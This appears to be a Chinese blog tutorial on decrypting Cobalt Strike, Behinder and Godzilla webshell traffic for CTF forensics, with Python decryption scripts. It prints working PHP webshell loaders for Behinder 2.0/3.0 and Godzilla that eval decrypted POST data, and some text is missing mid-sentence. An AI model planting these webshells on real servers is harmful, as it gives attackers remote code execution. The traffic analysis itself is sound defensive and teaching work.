首页 >> 大全

常见webshell流量解密分析

2023-11-22 大全 35 作者:考证青年

最近做到比较多的的题目,还遇到了cs流量,感觉比较有趣,索性简单写一篇文章总结一下他们的解密方式

由于类型太多,这里不具体阐述每种的加密原理,相对来说网上类似解析文章不少,主要讲解一下每种流量的解密过程

感谢贡献的demo文件与部分脚本 Orz

文章目录 冰蝎流量 冰蝎java 总结 哥斯拉流量 哥斯拉java 蚁剑/菜刀流量

流量-模式

关于 和其他cs组件方面的知识: | &

流量特征

一些比较普遍但不绝对的特征点

https-通信中,cs默认使用空证书建立加密通道,流量中可以看见这一过程。

同时在 https 协议的 Hello 和 Hello 阶段,都包含了 JA3S 值传输过程过程中会有 ja3,这个值在系统上是固定的,win10是一种的 但win11是另一种 他们取决于操作系统

http-通信中,默认使用get方法向/、/__utm.gif、/pixel.gif等地址发起请求

同时get读文件时是一串的值,这是cs流量的元数据(后面解密会用)

下发指令过程

POST /.php?id=一串数字

post一串0000开头的data,这是cs流量的发送任务数据(下面也会用到)

基于做题(不算特征):基于ctf本身,由于cs流量解密时需要RSA公私钥对,相关信息存储着..文件内,所以题目大概率会在流量里以各种形式给出这个文件

这个文件的本质是一个java序列化后的字节流

关于流量解密 解..得到公私钥,主要是需要私钥

项目地址: /cs-: 研究时的一些副产品 ()

通过私钥,.py解cs元数据(即值)

项目地址: / ()

但这里可能会遇到一些问题,这个脚本调用了库,但这个库已经n年没有被维护过了,安装这个库需要用到swig,下配了环境变量似乎也不太行

可以放到linux里

sudo apt install libssl-dev swig
pip3 install M2Crypto

即可安装成功

可以从中解出AES key和HMAC key

利用AES key和HMAC key,.py解密发送任务数据

其中任务数据这里需要做一个加密的操作

成功解密返回数据

改良了一下脚本

为了解决库在上装不好的问题,在帮助下,直接改用库去解析以及导入公私钥解密,并且把获取私钥与解密AES key和HMAC key放一起

import base64
import hexdump
import hashlib
import argparse
import javaobj.v2 as javaobj
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5def parse_arguments():parser = argparse.ArgumentParser()parser.add_argument("-f", type=str, default=None, required=True,help="输入JAVA序列化文件 .cobaltstrike.beacon_keys 路径")return parser.parse_args()def get_RSA_PriKey(SerializeKeyPath):with open(SerializeKeyPath, "rb") as fd:pobj = javaobj.load(fd)privateKey = pobj.array.value.privateKey.encoded.datapublicKey = pobj.array.value.publicKey.encoded.dataprivateKey = (b"-----BEGIN PRIVATE KEY-----\n"+ base64.encodebytes(bytes(map(lambda x: x & 0xFF, privateKey)))+ b"-----END PRIVATE KEY-----")publicKey = (b"-----BEGIN PUBLIC KEY-----\n"+ base64.encodebytes(bytes(map(lambda x: x & 0xFF, publicKey)))+ b"-----END PUBLIC KEY-----")privateKey = privateKey.decode()publicKey = publicKey.decode()return publicKey, privateKeydef create_PK_Cipher(privateKey):privateKey = RSA.import_key(privateKey.encode())n_bytes = privateKey.n.bit_length() // 8cipher = PKCS1_v1_5.new(privateKey)return cipher, n_bytesdef private_decrypt(cipher_text, privateKey):cipher, n_bytes = create_PK_Cipher(privateKey)cipher_text = base64.b64decode(cipher_text.encode())return b''.join(cipher.decrypt(cipher_text[i : i + n_bytes], 0)for i in range(0, len(cipher_text), n_bytes))def get_AES_HMAC_Key(SerializeKeyPath, rsa_cipher_text):_, privateKey = get_RSA_PriKey(SerializeKeyPath)if not (plain_text := private_decrypt(rsa_cipher_text, privateKey)):print("[+]: 解密错误, 可能是RSA_Cipher_Text或者密钥有误!")exit(-1)raw_aes_keys = plain_text[8:24]raw_aes_hash256 = hashlib.sha256(raw_aes_keys)digest = raw_aes_hash256.digest()aes_key = digest[:16]hmac_key = digest[16:]return aes_key, hmac_key, plain_textif __name__ == '__main__':args = parse_arguments()SerializeKeyPath = args.frsa_cipher_text = "U8jm3+oqzYLuUiRd9F3s7xVz7fGnHQYIKF9ch6GRseWfcBSSk+aGhWP3ZUyHIkwRo1/oDCcKV7LYAp022rCm9bC7niOgMlsvgLRolMKIz+Eq5hCyQ0QVScH8jDYsJsCyVw1iaTf5a7gHixIDrSbTp/GiPQIwcTNZBXIJrll540s="aes_key, hmac_key, plain_text = get_AES_HMAC_Key(SerializeKeyPath, rsa_cipher_text)print(f"AES key: {aes_key.hex()}")print(f"HMAC key: {hmac_key.hex()}")hexdump.hexdump(plain_text)

冰蝎流量 最常见的冰蝎php

先讲一下冰蝎2与冰蝎3,这两个相对来说比较相似

流量特征:

没什么特别强的特征

ua,-type,-等等都有点弱特征

从做题本身角度来说,POST请求和返回包都是AES后的

冰蝎2.0加密脚本:


@error_reporting(0);
session_start();
if (isset($_GET['pass']))//这里如果接收到get请求的pass参数
{$key=substr(md5(uniqid(rand())),16);//生成16位的随机秘钥用md5加密$_SESSION['k']=$key;//将上方生成的KEY存储到SEESSION中print $key;
}
else//如果没接收到pass参数,利用存储的KEY进行解密
{$key=$_SESSION['k'];//接收执行的命令$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else//使用oppenssl进行AES128加密(这里要注意他用的AES128解密的时候也需要用这个){$post=openssl_decrypt($post, "AES128", $key);}//将解密后的$post以'|'分割为数组。$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __construct($p) {eval($p."");}}//创建C类,利用__construct中的eval来执行解密后的值@new C($params);
}
?>

冰蝎3.0加密脚本:


@error_reporting(0);
session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);
?>

对比可知,整体加密逻辑基本一致,只是key略有不同,冰蝎2的key是随机生成的,冰蝎3的key是设定好的

加密逻辑整体比较简单,就是一个AES CBC然后

至于解密也是比较简单的,照着逻辑逆一下就行,主要需要得到key值,其中iv是全0填充

解密

请求包的解密

里面内容再解一次

解出来的数据结尾即是命令执行的部分

返回包的解密

第一部分解密同请求包

是状态

即是命令执行的结果

注意事项

这里有一个点,前两个请求包解出来变量和,里面部分暂不能很有效的解出明文

盲猜是冰蝎在连接时与目标机器建立一个通讯确认/读取配置文件/配置环境的过程

而他们对应的返回包的解出来的内容恰好就是和变量值

解密

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64def aes_decrypt_cbc(ciphertext, key, iv):cipher = AES.new(key, AES.MODE_CBC, iv)plaintext = cipher.decrypt(ciphertext)plaintext = unpad(plaintext, AES.block_size)return plaintextciphertext_base64 = b'uU7xO0V/KGySO6rdSlEw/dQXFklZWZn1EMhiAAoH7WPgcZi0gqTYodGuKeZEwtv2Gw1H/AgTwH2yV+Ix3A5QEhB3qHn5V1mOdSHC5dBkMmn6niKXQvCEsFi00fJXrxuXI9KhhR14BXCxYfRnA1KDjQ=='
ciphertext = base64.b64decode(ciphertext_base64)
key = b'7d7c23e87b47368b'
iv = b'\x00' * 16  # 16 bytes of zerosplaintext = aes_decrypt_cbc(ciphertext, key, iv)
print(plaintext)

冰蝎java 请求包的解密

跟php不同的是shell是用java写的,请求包解出来是个java的class文件,同时用的是AES ECB(但不一定绝对,试具体情况而定)

本示例中流0找到key的值和加密方式

AES ECB解出来个class文件

可以直接用jadx反编译,发现最下面其实就记录了具体的加密方式

这里开头发现是做了一个echo字符串的操作

返回包的解密

返回包部分并没有进行加密,是直接传raw原始数据

可以这样快速复制出指定hex

解密结果也是msg+(input记得改成hex)

跟请求包的class执行结果对上了

命令执行过程

再往后解一个包,演示一下命令执行过程

单单看方法名也可以看出来是一些对文件夹和文件的查看、移动、创建、修改、下载操作

传入的mode和path参数就是具体命令执行的内容,应该是查看了root目录下的所有内容,类似于ls

解一下返回包

这里就选其中一条再具体解了一下

总结

根据shell类型还有另外两种aspx与asp,整体做法与php如出一辙

同时除了常见的aes,还有xor的加密方式,但相对较为简单

为防止特征点检测有时还会在数据尾部加上magic冗余,但并不影响解密

总的来说冰蝎一般根据其加密脚本较为容易逆向解密

哥斯拉流量 哥斯拉php

以西湖论剑misc2 为例

wp参考 2022西湖论剑-初赛CTF部分wp-是toto的博客-CSDN博客

特征

不考虑直接找到加密脚本外,哥斯拉最大的特征也是来自于其加密原理,返回包的数据前后十六位都是固定的哈希值

加密脚本:


@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){$data=encode(base64_decode($_POST[$pass]),$key);if (isset($_SESSION[$payloadName])){$payload=encode($_SESSION[$payloadName],$key);if (strpos($payload,"getBasicsInfo")===false){$payload=encode($payload,$key);}eval($payload);echo substr(md5($pass.$key),0,16);echo base64_encode(encode(@run($data),$key));echo substr(md5($pass.$key),16);}else{if (strpos($data,"getBasicsInfo")!==false){$_SESSION[$payloadName]=encode($data,$key);}}
}

从加密脚本可以看出,哥斯拉主要就是用了一个异或加密的方式,根据其对称性其加密函数其实也是解密函数

其中pass变量的值是的连接密码,也就是命令执行的变量名

请求包的解密


function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;
}$key='d8ea7326e6ec5916';echo encode(base64_decode(urldecode("VQAVX1xWeARbAGExOTE2EF0WFQ%3D%3D")),$key);

返回包的解密

可以看到

echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);

返回包的数据前后都加了16位的冗余字节,需要做一个切片操作

直接解密会乱码,参考哥斯拉还原加密流量_ctf misc 哥斯拉流量解密脚本的博客-CSDN博客可以知道需要加上一个()


function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;
}$key='d8ea7326e6ec5916';# echo encode(base64_decode(urldecode("VQAVX1xWeARbAGExOTE2EF0WFQ%3D%3D")),$key);
$response = substr("ca19adef3b7a8ce7J+5pNzMyNmU2Zqj6PzFxueQcYzczMg==b2e56eb02f8c2a4d", 16, -16);
echo gzdecode(encode(base64_decode($response),$key));

脚本

import gzip
import base64
import urllib.parsedef encode(D, K):D = list(D)for i in range(len(D)):c = K[i + 1 & 15]D[i] = D[i] ^ creturn bytes(D)key = b"d8ea7326e6ec5916"request = urllib.parse.unquote("VQAVX1xWeARbAGExOTE2EF0WFQ%3D%3D")
out = encode(base64.b64decode(request), key)
print(out)response = "ca19adef3b7a8ce7J+5pNzMyNmU2Zqj6PzFxueQcYzczMg==b2e56eb02f8c2a4d"[16:-16]
out = encode(base64.b64decode(response), key)
print(gzip.decompress(out))

因为是$K[$i+1&15],所以key第一位要移到最后一位

哥斯拉java

哥斯拉java相对来说没那么难

以[第二届陇剑杯]为例

关于我们

最火推荐

小编推荐

联系我们


版权声明:本站内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 88@qq.com 举报,一经查实,本站将立刻删除。备案号:桂ICP备2021009421号
Powered By Z-BlogPHP.
复制成功
微信号:
我知道了